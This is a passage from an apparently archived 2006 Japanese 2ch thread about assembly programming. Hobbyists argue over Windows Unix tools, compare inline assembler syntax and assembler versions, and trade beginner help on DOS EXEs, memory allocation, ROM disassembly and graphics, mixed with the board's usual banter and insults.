http://softwareforums.intel.com/ids/board/message?board.id=48&message.id=137
0394デフォルトの名無しさん
2006/01/11(水) 00:55:59昼間の人と別人だということすら気がついてないみたいだけどね。
0395デフォルトの名無しさん
2006/01/11(水) 00:57:040396・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 00:58:40俺が2ちゃんROMり始めた頃に
「名無しさん@1周年ってハンドルネームの人すげー暇だなー」
とか本気で思ったりしてたが
流石にそこまで落ちてはいません
0397・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:01:20そもそもこのスレに書き込むのが間違いかと
0398デフォルトの名無しさん
2006/01/11(水) 01:03:47同一人物に見えるなんて言われても「何だコイツ、ばかじゃねーの?」としか思えないよ。
自意識過剰以外の何物でもない。
0399・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:04:520400デフォルトの名無しさん
2006/01/11(水) 01:08:21反応しているのは私だけですか?
ご自分が反応するのを止めたらどうですか?
ぜんぜん知らない他人の書き込みを持ち出して
脳内妄想を垂れ流し始めたのは、あなたでしょ?
0401・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:11:030402デフォルトの名無しさん
2006/01/11(水) 01:12:24SFUにはnviが入っているのに・・・自分が知らないからクソマイナー扱いかよ。
これだから厨(ry
0403・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:14:56>>402
SFUって流行って無いじゃん。
0404デフォルトの名無しさん
2006/01/11(水) 01:15:20調べ方を教えてあげるよ。
http://www.google.co.jp/
「脳内妄想」という単語が一般的かどうか、ヒット数で判断してね。
あ、また恥をさらしちゃったかな。
0405デフォルトの名無しさん
2006/01/11(水) 01:18:280406・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:19:35Interixって名前で開発しててコケたやつ。
単に古臭いだけじゃんwww
マジレスすると、WSH(Monad)でUNIXコマンドのかなりの部分サポートされるし、
MSにすら見捨てられて消えると思うよ。
0407・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:21:51一般的かどうかの判断基準が「Googleのヒット数」ですか。
それなら「的を得る」も一般的だね。
0408デフォルトの名無しさん
2006/01/11(水) 01:28:06viって流行ってないじゃん。
と何が違うの?
つーか、WindowsのNFS関係製品ではトップシェアだと思うが・・・
>>406
> SFUってアレだろ?tarコマンドにgz圧縮のオプションすら付いてないアレだろ?
それのどこが問題?
どうせ他の圧縮方法も使うのでパイプを使ったほうが便利ですよ。
> マジレスすると、WSH(Monad)でUNIXコマンドのかなりの部分サポートされるし、
Monadは互換性が低いし、オブジェクトベースになるのでテキスト変換ほど
自由度が高くないと思いますが?
なんか、悲しいぐらいに中途半端な知識を(ry
0409デフォルトの名無しさん
2006/01/11(水) 01:28:55当初の意味的には間違っていても、その間違いが一般的になって
それが普通に使われる用語なんて、いくらでもあるよ。
役不足とかは、辞書にも逆の意味でも載り始めたし。
的を得るがそういう用語であるとまで言うつもりは無いけどさ。
「全然」+肯定形が、少し前は間違いとされていたのは知ってる?
ら抜き言葉って正しい日本語だと思う?
「新しい」の読み方は知ってるよね?
0410デフォルトの名無しさん
2006/01/11(水) 01:29:190411デフォルトの名無しさん
2006/01/11(水) 01:29:270412・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:41:27Windowsをテキストベースで叩ける部分なんてもともと限られてるじゃん。
逆にMonadがコマンドラインシェルでシステムを叩ける範囲を広げることになるじゃん。
WordやExcelのファイル形式がテキストだと思ってるわけでもあるまいし。
0413デフォルトの名無しさん
2006/01/11(水) 01:46:06システム管理にWordやExcelファイルを使いたいのかwww
0414デフォルトの名無しさん
2006/01/11(水) 01:48:41構ってるバカと池沼
0415・∀・)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 01:49:010416323
2006/01/11(水) 02:10:01ARMは結構好きなんですよね。
アセンブラやるといろいろCPUの特徴が見えて面白いです。
>>378
>trace32のデモを落としてこようかと思ったけど登録が必要なのでやめた。
家で遊ぶためですか?
>>380
条件実行ビットは最初見たときわかりませんでした。
beq?そんな命令無いよ、みたいな感じで・・・。
0418デフォルトの名無しさん
2006/01/11(水) 16:15:210419デフォルトの名無しさん
2006/01/11(水) 16:52:520420デフォルトの名無しさん
2006/01/11(水) 22:37:30http://pc8.2ch.net/test/read.cgi/tech/1123918075/
0421デフォルトの名無しさん
2006/01/11(水) 22:39:370422>∀<)っ-○●◎- ◆Pu/ODYSSEY
2006/01/11(水) 22:42:22GNUスタイルっていうか、GNU C Compilerのインラインアセンブラ拡張の唯一いいところはレジスタ指定を
抽象化できるところ。更にコンパイラの最適化もかけられるし。
ちょっとこの部分だけローテート命令使いたいとか、Cのコードの中に埋め込むのに小回りがきく。
困るのがVC++で使うときだわな。MFCもCLRもないGCCでWindowsアプリの開発やることなんて殆どないし。
GCCのほうがコンパイラオプションでVC++スタイルの_asm文サポートしてるから、1ソースで済ませたいときは
どうしてもVC++スタイルになる。
0423323
2006/01/12(木) 00:04:33ごめんなさい、自分が家で遊ぶための環境が欲しかったから変に補完してしまいました。
んでマシン語で確認しました。
アセンブラ
LDR r0, 0x44000B68
マシン語
16進:
481B
2進:
01001 000 00011011
LRD r0 PCからの相対アドレス
結果としてデバッガが読みやすくしてたってことですね。
やっと解決、これでぐっすり寝れます。
417さんは口は悪いけど良い人だな。
わざわざTrace32を探してくれるとは・・・感謝です。
0424デフォルトの名無しさん
2006/01/12(木) 15:20:530425デフォルトの名無しさん
2006/01/12(木) 17:04:230426デフォルトの名無しさん
2006/01/13(金) 10:19:280427デフォルトの名無しさん
2006/01/13(金) 10:36:37単純にdeleteでいいんじゃね?
環境変数にそれらしい文字追加されてたらそれも一応消しとけばいいさ
0428デフォルトの名無しさん
2006/01/13(金) 15:02:35バイナリのサイズが違うんだけどなんで?
MSのlinkで同じもの食わせてもバージョンによって違うし。
なんか気になる…
0429デフォルトの名無しさん
2006/01/13(金) 15:17:370430デフォルトの名無しさん
2006/01/13(金) 16:28:07なんかどうもアラインっぽい気がしてたところでした。
helloworldに/opt:win98とかしたら増える増える…
0431デフォルトの名無しさん
2006/01/17(火) 00:02:040432デフォルトの名無しさん
2006/01/17(火) 15:37:290433デフォルトの名無しさん
2006/01/17(火) 18:03:51ビット演算スレはROMってるよ
0434デフォルトの名無しさん
2006/01/18(水) 03:25:30命令キャッシュさせて実行して、同期完了までWAIT?
0435デフォルトの名無しさん
2006/01/18(水) 03:53:09マシン構造に依存するのかな?
コンピュータの構成と設計でもよんで出直してきます。。。
0436デフォルトの名無しさん
2006/01/18(水) 23:04:11マルチプロセッサの構造が知りたいという話なら、
自作PC板のCPU関連スレあたりに詳しい人がいるかも。
0437デフォルトの名無しさん
2006/01/18(水) 23:29:03相当探しづらいところに追いやられてるけど。
0438デフォルトの名無しさん
2006/01/18(水) 23:30:400439デフォルトの名無しさん
2006/01/18(水) 23:33:180440デフォルトの名無しさん
2006/01/18(水) 23:39:03VC++持ってなくても、Win98DDKはいいはずだけど・・・
0441デフォルトの名無しさん
2006/01/18(水) 23:45:09Win98DDKが6.11、問題のVCPPが6.15だっけ。
0442デフォルトの名無しさん
2006/01/18(水) 23:47:080443>∀<)っ-○●◎- ◆Pu/ODYSSEY
2006/01/18(水) 23:52:32SSE3だって使えるし、Intelもサイトで紹介してるツールだぜ
無償で最新のDDKなら
http://pc8.2ch.net/test/read.cgi/tech/1049116134/
0444デフォルトの名無しさん
2006/01/19(木) 00:03:170445デフォルトの名無しさん
2006/01/19(木) 00:07:55VS2003付属のml.exe(7.10.3077)より少し新しい。ただだとこれが最新かな。
VS2005だといくつ?
0446デフォルトの名無しさん
2006/01/19(木) 00:13:040447デフォルトの名無しさん
2006/01/19(木) 00:19:050448445
2006/01/19(木) 00:25:52ml64.exeはAMD64用。普通にWin32上で動いたけどこれはそういうもの?
IA-64用はias.exeっていう名前みたいだな。
0449445
2006/01/19(木) 00:32:170450デフォルトの名無しさん
2006/01/19(木) 00:35:01それはVS2005のml64.exeということでよろしい?
0451デフォルトの名無しさん
2006/01/19(木) 00:35:410452デフォルトの名無しさん
2006/01/19(木) 00:48:440453デフォルトの名無しさん
2006/01/19(木) 00:54:350454デフォルトの名無しさん
2006/01/19(木) 01:01:360455デフォルトの名無しさん
2006/01/19(木) 21:18:380456デフォルトの名無しさん
2006/01/19(木) 21:46:430457デフォルトの名無しさん
2006/01/19(木) 22:08:22WinMeなんていい例。
0458デフォルトの名無しさん
2006/01/19(木) 22:18:52だから、参考にはならない。
でも、一行目は正しいと思う。
0459デフォルトの名無しさん
2006/01/19(木) 22:27:31> そりゃ新しいverの方がバグfixされてたり新命令に対応してたりしていいでしょ
バグフィクスについてkwsk
何の予告もなくやってくれたら、それこそ困るだろ。
しかもアセンブラに新命令って・・・
0460>∀<)っ-○●◎- ◆Pu/ODYSSEY
2006/01/19(木) 22:54:48たぶんVS2006出るんだろうな、夏ごろに
0461デフォルトの名無しさん
2006/01/19(木) 23:02:560462デフォルトの名無しさん
2006/01/19(木) 23:57:450463デフォルトの名無しさん
2006/01/20(金) 01:59:050464デフォルトの名無しさん
2006/01/20(金) 02:20:08でもvolatile指定しないとちょっと怖い。
0465デフォルトの名無しさん
2006/01/20(金) 04:48:57つーか、
gas >>>>>> nasm >>>>> |越えられない壁| >>>>>> それ以外
0466デフォルトの名無しさん
2006/01/20(金) 06:34:44gccのインラインアセンブラって、具体的にどこら辺が便利なの?
他のインラインアセンブラとの違いがあまりよくわかっていないんだけど。
0467デフォルトの名無しさん
2006/01/20(金) 08:55:08指定した部分をそのままアセンブラに渡すから全機能が使える。
レジスタを直接指定することなく組める(割り当てを任す事が出来る。
0468デフォルトの名無しさん
2006/01/20(金) 09:06:44それなら例えばVCでも出来るけど…
0469デフォルトの名無しさん
2006/01/20(金) 09:22:46VC++のインラインアセンブラはニーモニックのアセンブルは出来るけど
ラベルはローカルラベルのみ、ディレクティブはEVENとALIGNしか使えない。
組み込み関数でレジスタの割り当てを任すことは出来るけど、
インラインアセンブラでもそういうの出来たっけ?
0470デフォルトの名無しさん
2006/01/20(金) 09:26:03http://www.mars.sannet.ne.jp/sci10/on_gcc_asm.html
ここの12節以降で丁寧に説明してくれてるね
0471デフォルトの名無しさん
2006/01/20(金) 11:40:27: MMIX--A RISC Computer for the New Millenium
ttp://www.cbook24.com/bm_detail.asp?sku=4756147127
発売: アスキー
ISBN: 4-7561-4712-7
本体価格: \3,000
発売日: 2006/01/23
サイズ: B5判
ページ数: 144
著者: Donald E. Knuth
翻訳者: 有澤誠, 和田英一, 青木孝
0472デフォルトの名無しさん
2006/01/20(金) 12:07:23音楽 CD のタイトルみたいだな。featuring Doctor Knuth...
0473デフォルトの名無しさん
2006/01/21(土) 22:46:46ググっても意味がわからなかったんだが、MMIXって何?
Knuthって人が考えた仮想RISCコンピュータ?
教えてエロい人!
0474>∀<)っ-○●◎- ◆Pu/ODYSSEY
2006/01/21(土) 23:30:350475デフォルトの名無しさん
2006/01/22(日) 16:50:14下の本の違いはなんなの?一部抜粋てだけ?
おれが借りて読んだのはもちろん上の方だけど
ttp://www.ascii.co.jp/books/detail/4-7561/4-7561-4712-7.html
ttp://www.ascii.co.jp/books/detail/4-7561/4-7561-4411-X.html
0476デフォルトの名無しさん
2006/01/22(日) 17:55:020477デフォルトの名無しさん
2006/01/24(火) 17:02:20asm ("foo" : "=&t" (a) : "f" (b));
というようになぜ出力オペランドに&を指定しなければならないのか
どうしても分かりません。
0478デフォルトの名無しさん
2006/01/24(火) 19:50:01キーボードから文字列を入力し、その文字列に含まれる数字の数を、
コンソールへ表示するプログラムを作成せよ。
ただし、入力される最大文字列は、20文字とし 入力される文字は、
ASCIIコード表に載っている文字に限定する。
とのことです。だれか助けてください。。。。。。。
ちなみに今回マシンはCOMITを使用します。
ホントにどなたかお願いします。
0479デフォルトの名無しさん
2006/01/24(火) 19:50:55機械語スレに帰れキチガイ
0480デフォルトの名無しさん
2006/01/24(火) 19:57:24おまいがしんだら。。
おっぱいおっぱい
0481デフォルトの名無しさん
2006/01/24(火) 19:58:050482デフォルトの名無しさん
2006/01/24(火) 20:00:030483デフォルトの名無しさん
2006/01/24(火) 20:00:55全裸でなら俺も一票
0484デフォルトの名無しさん
2006/01/24(火) 21:06:49高校1年で解いた問題だな
0485デフォルトの名無しさん
2006/01/24(火) 21:59:20高校1年でやった行動だな
0486デフォルトの名無しさん
2006/01/24(火) 23:40:46大学過年度生で実際にやった。
0487デフォルトの名無しさん
2006/01/25(水) 02:38:070488デフォルトの名無しさん
2006/01/25(水) 16:22:020489デフォルトの名無しさん
2006/01/28(土) 17:06:01(*´・д・)(・д・`*)エー
0490デフォルトの名無しさん
2006/01/28(土) 17:32:000491デフォルトの名無しさん
2006/01/28(土) 19:41:44のサイトでエラーが出るのですが・・・。
MySQLサーバーに接続出来ないと。
0492デフォルトの名無しさん
2006/01/29(日) 00:28:29nasm本体ならここ。
http://sourceforge.net/projects/nasm
0493デフォルトの名無しさん
2006/01/29(日) 01:42:41助かりました。
ありがとうございますm(_ _)m
0494デフォルトの名無しさん
2006/01/29(日) 20:35:06マジでお勧めだ(゚Д゚)ゴルァ!
0495デフォルトの名無しさん
2006/01/29(日) 21:35:04起動時の SCSI アダプタのデバイススキャンがウザイので、なにもしないダミーBIOSを作りたいんだけど、
BIOSの先頭で単純に IRET あたりで戻るだけでいいの?
0496デフォルトの名無しさん
2006/01/29(日) 22:22:47アダプタ外せば?
0497デフォルトの名無しさん
2006/01/29(日) 22:30:53久々にワロタよ
0498デフォルトの名無しさん
2006/01/29(日) 22:42:27うはwwwwwww1000札入札したwwwwwww
0500デフォルトの名無しさん
2006/01/30(月) 09:28:36脳味噌なし
0501デフォルトの名無しさん
2006/01/30(月) 12:41:28PC-CARD接続のSCSIカードにして起動後に挿す方が早いよ
デスクトップでも内蔵用のPC-CARD I/Fも売ってるから大丈夫だよ
まあ今の流れに沿うならSCSI-USB2.0かSCSI-IEEE1394アダプタを使って
USB2.0やIEE1394のようなレガシーでないI/Fに切り替えるべきだろうけどね
0502初心者
2006/01/30(月) 16:53:10ダウンロードすらままならない状況です・・・
あと自分のコマンドプロンプトに逆スラッシュ(/の逆)が打てません。
¥になってしまいます。これは直りますか?
どんな情報でも良いのでよろしくお願いします。
0503デフォルトの名無しさん
2006/01/30(月) 17:09:08バックスラッシュは日本語のフォントだと円記号が割り当てられているから仕方がない。
0504デフォルトの名無しさん
2006/01/30(月) 17:23:02\をそのまま使ったらダメなの?
0505初心者
2006/01/31(火) 02:09:35ありがとうございます。
てことは¥をそのまま使っても機能するということでしょうか。
コマンドプロンプトでエンターキーを押すと
C:\Documents and Settings\name>
が繰り返されるんですけど、これも通常ですか?
何もできなくて焦っております・・・
0506デフォルトの名無しさん
2006/01/31(火) 02:20:000507デフォルトの名無しさん
2006/01/31(火) 02:26:50君は何をしたいのかね。
つーか、スレ違いだボk
0508デフォルトの名無しさん
2006/01/31(火) 02:30:070509デフォルトの名無しさん
2006/01/31(火) 02:50:500510デフォルトの名無しさん
2006/01/31(火) 03:01:000511デフォルトの名無しさん
2006/01/31(火) 19:09:32NOP
NOP
NOP
NOP
NOP
NOP
NOP
0512デフォルトの名無しさん
2006/02/01(水) 02:10:000513デフォルトの名無しさん
2006/02/01(水) 13:47:570514デフォルトの名無しさん
2006/02/01(水) 19:41:190515デフォルトの名無しさん
2006/02/03(金) 06:19:42ってことで zsnes とか snes9x のソースをみるべし。
Cとのリンクの仕方も分かるし。
楽しいぞえ。
ところで、誰か VxD とかの作り方おしえて。
LDIR
DJNZ
EXX
0516デフォルトの名無しさん
2006/02/03(金) 08:43:53Wide640をレガシーと言い切るモマエに萌え
0517デフォルトの名無しさん
2006/02/04(土) 00:52:490518デフォルトの名無しさん
2006/02/06(月) 14:21:45パラレルSCSIなんか内部バスだろ
0519デフォルトの名無しさん
2006/02/06(月) 18:27:39かなりバカな質問をしますが、
メモリアロケーションってどーやるの?
勝手にメモリ使って良いの?
最終的にはコンパイラでも作ってみようかと夢想しています
0520デフォルトの名無しさん
2006/02/06(月) 18:31:060521デフォルトの名無しさん
2006/02/06(月) 18:33:48コラコラw
0522デフォルトの名無しさん
2006/02/06(月) 18:35:40ありがとうございます
とりあえず次の構文を使って初期化してみようと思います
mov edi,0
mov eax,0
mov ecx,ffffh
rep stos dword ptr [edi]
0523デフォルトの名無しさん
2006/02/06(月) 18:40:51うはwwww死亡wwww
0524デフォルトの名無しさん
2006/02/06(月) 18:45:00・・・良く考えれば、コード領域破壊してますよね
はっはっは
・・('A`)
0525デフォルトの名無しさん
2006/02/06(月) 18:50:230526デフォルトの名無しさん
2006/02/06(月) 18:54:380527デフォルトの名無しさん
2006/02/06(月) 18:55:04そうなんですか・・・
趣味でやってて書籍もってなくて、ネットからコソコソ収集してるのでよくわからんです
int hoge[100];
みたいなCのコードを逆アセンブルしてみたんですけど、
普通に名前宣言の部分なので対応するアセンブラコードが見当たらんのです
・・・もうちょっと頑張ってみるとです
0528デフォルトの名無しさん
2006/02/06(月) 19:02:23それはスタック領域に確保してるんだと思うぞ。
対応するコードは、関数の入り口と出口のほんの些細なコードだ。
0529519
2006/02/06(月) 19:11:40そういえばスタック領域というのもありましたですね
・・・うーん、rep stosで初期化している以外になさそうなんですが、その前はレジスタを退避させてるだけだし・・
とりあえずmalloc()を逆アセンブルしてみま
・・・わからん(orz
0530デフォルトの名無しさん
2006/02/06(月) 19:15:20FreeDOSにすればメモリを自由に使えるよ
0531デフォルトの名無しさん
2006/02/06(月) 19:18:16mallocは、システムのメモリー管理している処理を呼んでるだけだから、逆アセンブルしても膨大なコードがズルズル出て来るだけだぞw
0532デフォルトの名無しさん
2006/02/06(月) 19:19:27FreeDOSって、ヒープ管理してないの?
0533デフォルトの名無しさん
2006/02/06(月) 19:27:03してるといえばしてるよ
ただ防御機能が無いから破壊は簡単だけど
あと厳密な意味でのヒープの管理は各アプリケーションに任されてる
0534519
2006/02/06(月) 19:33:50一念発起してGOGOのこ〜だでも読んでみようかとです
長年VB6やってますが、ちょっと略語に馴染めんとです ('A`)
0535デフォルトの名無しさん
2006/02/06(月) 19:37:02普通のDOSと同じじゃんw
0536デフォルトの名無しさん
2006/02/06(月) 19:49:44(V)(´Д`)(V) ・・・
0537デフォルトの名無しさん
2006/02/06(月) 19:50:490538デフォルトの名無しさん
2006/02/06(月) 19:52:320539デフォルトの名無しさん
2006/02/06(月) 21:05:22|
H-Si-H
|
H
0540デフォルトの名無しさん
2006/02/06(月) 22:19:06メモリアロケートの方法わからんばい!!
…だれかgoogleキーワード下さい
< >←ココに穴埋め
0541デフォルトの名無しさん
2006/02/06(月) 22:21:50('A`) フォーーーーーォォォォ…!!!!
メモリアロケートの方法わからんばい!!
…だれかgoogleキーワード下さい
<メモリアロケート>←ココに穴埋め
0542デフォルトの名無しさん
2006/02/06(月) 22:26:32よ〜く考えたら、メモリ管理はOSの機能であって、アセンブラレベルではさっぱり関係ないんじゃないか、と思えてきた
0543デフォルトの名無しさん
2006/02/06(月) 22:27:17ご名答。
0544デフォルトの名無しさん
2006/02/06(月) 22:30:44手軽に(QuickBASIC/PureBasic感覚に)実行できて、高速に動くものを作ろうとしているけど・・・道は遠いなぁ
まぁ、昔仮想マシン作った頃よりは簡単だけど
がんばります。
0545デフォルトの名無しさん
2006/02/07(火) 04:58:52お前は基礎を全く解ってない・・・もういい・・・二度と来るな。
0546デフォルトの名無しさん
2006/02/07(火) 05:25:06強いて言うならMMX/SSE等のSIMD命令の使用だが、これに関しても最近ではIntrinsics等によってC/C++から直接使用することができるし、最適化もかけてもらえる。
ちなみに言っとくと、スタック上でのメモリ確保=esp相手の演算だし、ヒープの確保は結局HeapAllocあたりのAPIを呼ぶしかないわけだが。
0547デフォルトの名無しさん
2006/02/07(火) 08:53:25やらせてあげればいいじゃん
0548デフォルトの名無しさん
2006/02/07(火) 09:52:41{ FooObject foo; /* 処理2 */ }
こんなコードがあった場合、
Windowsで一番普及してる某商用コンパイラは、最大の最適化オプション/Oxを付けても、
hogeとfooを別々のテキストセグメント領域に割り当てる。
MMX/SSEの最適化にせよ、期待するとガッカリしますよ。
ここ最近のコンパイラはpush/popじゃなくてespを直接操作するコード書くような。
0549デフォルトの名無しさん
2006/02/07(火) 10:00:39コンパイラの吐くコードより速いのが書けないうちは半人前
0550デフォルトの名無しさん
2006/02/07(火) 10:41:120551デフォルトの名無しさん
2006/02/07(火) 10:42:09もしかしたら
<お手軽言語>→アセンブラ
よりも、
<お手軽言語>→C
の方が…これじゃyaccのお世話になるか。
0552デフォルトの名無しさん
2006/02/07(火) 10:52:260553デフォルトの名無しさん
2006/02/07(火) 11:07:15でもレジスタやりくりするあの感覚はアセンブラ独特だと思う
0554デフォルトの名無しさん
2006/02/07(火) 11:11:260555デフォルトの名無しさん
2006/02/07(火) 11:26:350556デフォルトの名無しさん
2006/02/07(火) 11:30:250557デフォルトの名無しさん
2006/02/08(水) 12:41:51#68kだとそうするコンパイラはあるけどね。
0558デフォルトの名無しさん
2006/02/08(水) 12:52:05PIC
0559デフォルトの名無しさん
2006/02/08(水) 18:08:390560デフォルトの名無しさん
2006/02/09(木) 08:31:300561デフォルトの名無しさん
2006/02/09(木) 08:42:35「独習アセンブラ」買え
0562デフォルトの名無しさん
2006/02/09(木) 14:31:47Z80で回路組め
0563デフォルトの名無しさん
2006/02/09(木) 14:46:03エロゲとか何でもいいから
書き換えて遊んでるうちにアセンブラも覚えるさぁ
0564デフォルトの名無しさん
2006/02/09(木) 16:45:250565デフォルトの名無しさん
2006/02/09(木) 19:11:230566デフォルトの名無しさん
2006/02/09(木) 19:57:59って質問と同じ。
0567デフォルトの名無しさん
2006/02/09(木) 20:11:38授業についていくのが不安ならフランス語の本読め
0568デフォルトの名無しさん
2006/02/09(木) 21:56:35リアル厨房の頃、N-BASICの速度に限界を感じて仕方なくZ80を覚えた。
厨房でも出来るんだから簡単だろ。
0569デフォルトの名無しさん
2006/02/09(木) 22:31:04覚えることほとんどないしな。
0570デフォルトの名無しさん
2006/02/09(木) 22:37:340571デフォルトの名無しさん
2006/02/09(木) 23:12:150572デフォルトの名無しさん
2006/02/09(木) 23:25:44ハード直叩きするにはアセンブリのほうが楽だったし,直感的だった.
0573デフォルトの名無しさん
2006/02/09(木) 23:55:40でも、めんどい。
0574デフォルトの名無しさん
2006/02/10(金) 07:21:050575デフォルトの名無しさん
2006/02/10(金) 09:22:32ぶっちゃけ小学生でも出来るお。今なら情報も沢山あるしなー
0576デフォルトの名無しさん
2006/02/10(金) 11:13:32難しいのは難解なスペックシートしかなかったりバグ在りのまま売り出されるハードウェアの扱い方
0577デフォルトの名無しさん
2006/02/10(金) 11:45:530578デフォルトの名無しさん
2006/02/10(金) 12:12:44自然言語に比べればハナクソみたいな時間で修得できる
ただハードウェアの性質とかライブラリとかAPIとか
その辺のマジックコールを覚えるのが大変ってだけ
0579デフォルトの名無しさん
2006/02/10(金) 12:40:21ああ…それもマイナーで情報が揃っていないCPUとかだったりすると特にな…
0580デフォルトの名無しさん
2006/02/10(金) 12:42:25出荷時期によってマイナーなバグがあったり直っていたりとかね
0581デフォルトの名無しさん
2006/02/10(金) 17:09:00名著教えて
0582デフォルトの名無しさん
2006/02/10(金) 17:18:060583デフォルトの名無しさん
2006/02/10(金) 17:41:160584デフォルトの名無しさん
2006/02/10(金) 17:43:54以下のようなソースコードでnasm -fbin -otest.exe -i/usr/local/lib/nasm/ test.asmとやったら60バイトの実行ファイルができたのですが、実行してみると「アクセスが拒否されました。」というメッセージが出てきてしまいます。
(nasmはcygwinのやつで、exebin.macとかは/usr/local/lib/nasmに移動させました)
どこを直したら良いでしょうか?
%include "exebin.mac"
EXE_begin
section .text
mov ah, 09h
mov dx, hello
int 21h
mov ax, 4c00h
int 21h
section .data
hello: db 'Hello, World!', 0dh, 0ah, '$'
EXE_end
0585デフォルトの名無しさん
2006/02/10(金) 17:52:29exeじゃないに一票
0586デフォルトの名無しさん
2006/02/10(金) 18:01:37最初に
mov ax,segment hello
mov ds,ax
とか書いていたような記憶があるが。
0587デフォルトの名無しさん
2006/02/10(金) 18:06:050588584
2006/02/10(金) 18:40:04レスどうもです。
いちおうこちらのサイトを参考にしたのですが、サンプルソースみたいなものがなくて悪戦苦闘中です。
http://www.axe-inc.co.jp/pds/nasm.html
見た限りでは-fbinでexeが作れるという風に書いてあるみたいです。
>>586
すみません、segmentの部分がnasmだと文法エラーになってしまうみたいです。
試しにsegmentを取り除いたものを先頭に挿入してみたら実行ファイルはできましたが、やっぱりアクセスが拒否されてしまいます。
0589デフォルトの名無しさん
2006/02/10(金) 20:51:24料金未納で電話止められてネットから閉め出されました。
0590デフォルトの名無しさん
2006/02/10(金) 22:25:10諦めて何かリンカ使えば?
0591デフォルトの名無しさん
2006/02/11(土) 03:19:41なるんだけどプリフェッチって効果ある?入れても変化無かったんだが。
0592デフォルトの名無しさん
2006/02/11(土) 03:27:020593デフォルトの名無しさん
2006/02/11(土) 07:25:430594デフォルトの名無しさん
2006/02/11(土) 07:33:46Pentium4 が熱いのはそのためです。
0595デフォルトの名無しさん
2006/02/11(土) 07:52:59Pentium4はPentium3よりもずっと優れてる。
たとえばCPUで玉子焼きを作ったり、マザボを焦がしたり、そんなことはPen4じゃないとできないんだからね!!
0596デフォルトの名無しさん
2006/02/11(土) 08:01:060597デフォルトの名無しさん
2006/02/11(土) 08:12:370598デフォルトの名無しさん
2006/02/11(土) 09:14:340599デフォルトの名無しさん
2006/02/11(土) 09:14:50(゚д゚)<・・・
THX
0600デフォルトの名無しさん
2006/02/11(土) 09:29:530601デフォルトの名無しさん
2006/02/11(土) 13:18:55爆発させて遊んでる奴があったな。
0602デフォルトの名無しさん
2006/02/11(土) 16:12:58overclockで検索したら一瞬でみつかったけどduronだったよ
http://video.google.com/videoplay?docid=5393904704265757054&q=overclock
0603デフォルトの名無しさん
2006/02/11(土) 16:38:11Duronのもあるし、Pen4のもある。よく探せ。
0604602=603
2006/02/11(土) 16:39:120605デフォルトの名無しさん
2006/02/11(土) 16:39:420606デフォルトの名無しさん
2006/02/11(土) 16:42:480607デフォルトの名無しさん
2006/02/11(土) 18:41:56cyrixだかK6でホットケーキ焼いてる記事とかもあったな。
0608デフォルトの名無しさん
2006/02/11(土) 18:52:330609デフォルトの名無しさん
2006/02/11(土) 23:19:53こんなのも見つけた
http://pc8.2ch.net/test/read.cgi/tech/1035288252/381-384
ttp://www3.ezbbs.net/cgi/bbs?id=anesan&dd=40&p=9
0610デフォルトの名無しさん
2006/02/12(日) 03:03:04EXEプログラムの場合はDSは基本データセグメントを指すように初期化されます。
異なるデータセグメントを参照する場合は明示的にそのセグメントに変更します。
ただ、一時的な参照でしたらESレジスタを使ってセグメントオーバーライドの方が良いでしょう。
0611デフォルトの名無しさん
2006/02/16(木) 14:13:03書いたんですけど、もっとこうパッっと変わったりできますか?
0100 MOV AL,12
0102 INT 10
0104 MOV DX,0258
0107 MOV CX,0320
010A MOV AH,0C
010C MOV AL,01
010E INT 10
0110 SUB CX,+01
0113 JNZ 010C
0115 SUB DX,+01
0118 JNZ 0107
0612デフォルトの名無しさん
2006/02/16(木) 18:46:540613デフォルトの名無しさん
2006/02/16(木) 18:52:288ビットCPUでは実際にそういうこともやったが、それでも最低限の簡易OS機能はデバッグ用に組み込んでおいた。
最近はOS載せるのが前提の仕事しかしていない。
0614デフォルトの名無しさん
2006/02/17(金) 07:47:190615デフォルトの名無しさん
2006/02/17(金) 11:15:36もちろんOSはIBMの登録商標だ
0616デフォルトの名無しさん
2006/02/17(金) 17:26:17・VRAM 直接アクセス
・パレットを変える(反則)
0617デフォルトの名無しさん
2006/02/17(金) 22:05:11OS/2 Warp どすえ
0618デフォルトの名無しさん
2006/02/17(金) 22:36:230619デフォルトの名無しさん
2006/02/17(金) 23:29:270620デフォルトの名無しさん
2006/02/18(土) 01:41:590621困っている男より
2006/02/19(日) 12:05:29E-mail: [email protected]
内容:
初めて書き込みます。
実は、困っています。あるROMがあり、そのROMを内容をPC(MIFES)上に
取り出すことは、出来ました。
そして、CPUが最初にアクセスするアドレスも分かっています。
この状態から、逆アセンブラは可能なんでしょうか?
可能なら、どのようにすればいいのか?また、そのアセンブラをpc上で
ステップ(スタートアドレス(任意アドレス)から進むんでプログラム通りに
ジャンプしたりするイメージ)しながら、内容確認できる方法は、ないでしょうか?
みなさんの力を貸してください。
0622デフォルトの名無しさん
2006/02/19(日) 12:55:34つ [インストラクション表と関数電卓片手にハンド逆アセンブル]
0623デフォルトの名無しさん
2006/02/19(日) 13:38:35何故に関数電卓?
ハンド逆アセンブルするくらいなら16進⇔10進くらい暗算でやれよ。
0624デフォルトの名無しさん
2006/02/19(日) 13:54:03お前の標準を世界の標準としてはいけない
0625デフォルトの名無しさん
2006/02/19(日) 15:56:24まだ16進使ってるの?
今世界は61進に向かっているって時に・・・
0626デフォルトの名無しさん
2006/02/19(日) 15:57:210627デフォルトの名無しさん
2006/02/19(日) 16:03:36多分、お前の方が標準じゃない
0628デフォルトの名無しさん
2006/02/19(日) 16:07:230629デフォルトの名無しさん
2006/02/19(日) 16:10:26全部16進上でやれば済むんだから
0630デフォルトの名無しさん
2006/02/19(日) 16:25:350631デフォルトの名無しさん
2006/02/19(日) 16:58:210632デフォルトの名無しさん
2006/02/19(日) 17:07:270633デフォルトの名無しさん
2006/02/20(月) 13:25:212chのトリップ/IDだろ。
0634デフォルトの名無しさん
2006/02/21(火) 21:08:26トライアルバージョンとかじゃなくて。
0635デフォルトの名無しさん
2006/02/21(火) 21:14:200636デフォルトの名無しさん
2006/02/21(火) 21:50:09どうもねぇ。
0637デフォルトの名無しさん
2006/02/21(火) 22:34:08うpうp
